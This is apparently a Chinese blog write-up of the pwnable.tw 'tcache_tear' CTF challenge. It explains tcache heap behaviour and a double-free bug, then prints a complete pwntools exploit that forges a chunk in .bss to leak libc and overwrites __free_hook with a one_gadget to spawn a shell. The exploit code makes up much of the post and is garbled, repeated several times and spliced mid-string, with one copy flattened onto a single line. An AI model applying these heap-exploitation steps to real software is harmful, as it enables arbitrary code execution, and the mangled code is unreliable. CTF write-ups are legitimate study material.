pwnable-tcache_tear

tcache是我很早就听说,但是一直没有接触或学习的堆管理。这次通过pwnable的这道题,感觉还是了解了tcache的皮毛,感觉这种方式比单纯看ctf-wiki更令我印象深刻

tcache的皮毛

讲tcache的文章太多,我就不抄了,可以自己去看ctf-wiki。我来说说我在做这道题的时候没有想到的tcache的特性

检验极其宽松

一开始看介绍我觉得tcache就是一个范围大一点的fastbin,然后可以连续两次double free,以及不用担心和top chunk合并

但是后来我发现比这个更为宽松,tcache管理完全相信tcache *entries[tc_idx]中的内容,在从*entries[tc_idx]中取出的时候连chunk的size都不检查,chunk size位是p64(0)都没关系

每组entries有各自独立的counts[tc_idx]

这个东西我是早就看到了,但是一直没有感受到它的独特之处。我知道counts[tc_idx]里存放着*entries[tc_idx]的数目(因为它是单向链表,所以要管理一下它的长度?)反正如果free了2次但malloc了3次,对应counts[tc_idx]的值就会变成负数,这时如果再去malloc就会报错。所以我一开始在做这道题的时候一直小心翼翼地管理着counts[tc_idx],free3次malloc3次。但是,我遇到了一个问题,那就是这道题的free次数是有限制的,为8次

但是我为了leak出libc地址,我用了7次free!那接下来就没法搞了。然后我就看了kirin师傅的wp,我很奇怪为什么他都止free两次

然后我发现,他每组double free利用的时候请求的size都不同,也就是说,每次的counts[tc_idx]都是不同组的,相当于用废一个就再找一个新的吧,我觉得这个蛮有意思的。

思路

这道题的漏洞是没有在free后NULL,所以可以double free。但是tcache的bins在管理上和fastbin类似,是单向链表,你是看不到main_arena这类的东西的。所以要看到libc的地址,就必须要搞出别的chunk来,unsorted bin

还有一个问题是他的dump只dump 在bss段的name部分,所以说,我要在name部分伪造一个比tcache大的chunk(>1032字节)

这时候我就遇到了一个问题,我瞎想也没想明白,睡醒以后问问Aris吧。

疑惑

large chunk在free的时候会检查后一个chunk的prevsize和previnuse

prev_inuse我能理解,在后面构造一个0x*1就好了,但是这个chunksize(p) != prev_size(next_chunk(p)我就很懵逼,照理说堆结构是这样的

我应该只要在Size of previous chunk这里填充p64(0x500)就好了,但是还是报错,我看别人是这么构造的

他在prev_size位填充了p64(0),还构造了两个chunk,我就不懂啦,果然是啥也不知道啥也不懂的我

破案了

先给出两种情况的堆情况

0x500的next chunk并没有prev_size位,因为它本身是在使用的。所以报错的原因不在next chunk的prev size位,而是在next next chunk的prev size位。为什么呢?因为堆管理在试图进行合并。我只伪造了next chunk,而next next chunk的部分我并没有伪造,所以next next chunk的prev inuse 位是0,也就是说堆管理会认为next chunk是一个空闲chunk,它就会试图合并,这时候就会检查prev size了,结果我什么都没有伪造,所以就报错了

举个例子,我如果这么搞堆布局,应该也是可以正常free的(但是程序炸了。。。不过没报那个prev size的错了,估计是别的什么原因

抛开这个不说,主要的任务就是在name这里构造chunk,然后free掉它,这样它就进unsorted bin了,就会有main_arena+88在chunk中,然后就能leak了。

leak出来之后就是用同样的double free的方法搞一下__free_hook,搞成one_gadget就行了,每次只free两次的话刚好还剩一次

exp

from PwnContext import *
from libnum import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

def add(size,content):
    sla(':','1')
    sla(':',str(size))
    sla(':',content)

def free():
    sla(':','2')

def dump():
    sla(':','3')

if __name__ == '__main__':        
    # context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '
from PwnContext import *
from libnum import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
def add(size,content):
sla(':','1')
sla(':',str(size))
sla(':',content)
def free():
sla(':','2')
def dump():
sla(':','3')
if __name__ == '__main__':        
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
ctx.binary = './tcache_tear'
ctx.remote = ('chall.pwnable.tw', 10207)
ctx.remote_libc = './libc.so.6'
ctx.debug_remote_libc = True
# rs()
rs('remote')
print(ctx.libc.path)
fake_chunk = 0x60203d
sla(':',p64(0) + p64(0x501))
#* fake next chunk
add(0x50,'bbbb')
# free()
free()
free()
add(0x50,p64(0x602560))
add(0x50,'cccc')
add(0x50,p64(0) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21))  #? corrupted size vs. prev_size
# add(0x50,p64(0x500) + p64(0x501))
add(0x60,'a'*0x30)
free()
free()
# free()
add(0x60,p64(0x602080))
add(0x60,'b'*0x30)
# # offset = 0x602088 - 0x602070
add(0x60,p64(0) + p64(0x602070))  # fake chunk 0x602060
# add(0x60,'e'*0x50)
free()
dump()
ru(p64(0x501))
main_arena = u64(ru('$')[:8])
print "main_arena: " + hex(main_arena)
libc_base = main_arena - 0x7f564c2bdca0 + 0x7f564bed2000
print "libc_base: " + hex(libc_base)
print "__free_hook: " + hex(libc_base + ctx.libc.symbols['__free_hook'])
add(0x40,p64(0)*3 + p64(0x602070))
free()
free()
# free()
add(0x40,p64(libc_base + ctx.libc.symbols['__free_hook']))
add(0x40,'b'*0x30)
add(0x40,p64(libc_base + 0x4f322))
# dbg()
free()
irt()
')) uu64 = lambda data :u64(data.ljust(8, '
from PwnContext import *
from libnum import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
def add(size,content):
sla(':','1')
sla(':',str(size))
sla(':',content)
def free():
sla(':','2')
def dump():
sla(':','3')
if __name__ == '__main__':        
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
ctx.binary = './tcache_tear'
ctx.remote = ('chall.pwnable.tw', 10207)
ctx.remote_libc = './libc.so.6'
ctx.debug_remote_libc = True
# rs()
rs('remote')
print(ctx.libc.path)
fake_chunk = 0x60203d
sla(':',p64(0) + p64(0x501))
#* fake next chunk
add(0x50,'bbbb')
# free()
free()
free()
add(0x50,p64(0x602560))
add(0x50,'cccc')
add(0x50,p64(0) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21))  #? corrupted size vs. prev_size
# add(0x50,p64(0x500) + p64(0x501))
add(0x60,'a'*0x30)
free()
free()
# free()
add(0x60,p64(0x602080))
add(0x60,'b'*0x30)
# # offset = 0x602088 - 0x602070
add(0x60,p64(0) + p64(0x602070))  # fake chunk 0x602060
# add(0x60,'e'*0x50)
free()
dump()
ru(p64(0x501))
main_arena = u64(ru('$')[:8])
print "main_arena: " + hex(main_arena)
libc_base = main_arena - 0x7f564c2bdca0 + 0x7f564bed2000
print "libc_base: " + hex(libc_base)
print "__free_hook: " + hex(libc_base + ctx.libc.symbols['__free_hook'])
add(0x40,p64(0)*3 + p64(0x602070))
free()
free()
# free()
add(0x40,p64(libc_base + ctx.libc.symbols['__free_hook']))
add(0x40,'b'*0x30)
add(0x40,p64(libc_base + 0x4f322))
# dbg()
free()
irt()
')) ctx.binary = './tcache_tear' ctx.remote = ('chall.pwnable.tw', 10207) ctx.remote_libc = './libc.so.6' ctx.debug_remote_libc = True # rs() rs('remote') print(ctx.libc.path) fake_chunk = 0x60203d sla(':',p64(0) + p64(0x501)) #* fake next chunk add(0x50,'bbbb') # free() free() free() add(0x50,p64(0x602560)) add(0x50,'cccc') add(0x50,p64(0) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21)) #? corrupted size vs. prev_size # add(0x50,p64(0x500) + p64(0x501)) add(0x60,'a'*0x30) free() free() # free() add(0x60,p64(0x602080)) add(0x60,'b'*0x30) # # offset = 0x602088 - 0x602070 add(0x60,p64(0) + p64(0x602070)) # fake chunk 0x602060 # add(0x60,'e'*0x50) free() dump() ru(p64(0x501)) main_arena = u64(ru('$')[:8]) print "main_arena: " + hex(main_arena) libc_base = main_arena - 0x7f564c2bdca0 + 0x7f564bed2000 print "libc_base: " + hex(libc_base) print "__free_hook: " + hex(libc_base + ctx.libc.symbols['__free_hook']) add(0x40,p64(0)*3 + p64(0x602070)) free() free() # free() add(0x40,p64(libc_base + ctx.libc.symbols['__free_hook'])) add(0x40,'b'*0x30) add(0x40,p64(libc_base + 0x4f322)) # dbg() free() irt()

好了,做完这个就醒来以后就开始做薯片的re了。作为一个re选手re菜成这样真是无地自容orz

另附:

过会就开始做re!

说点什么

avatar

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

  Subscribe  
提醒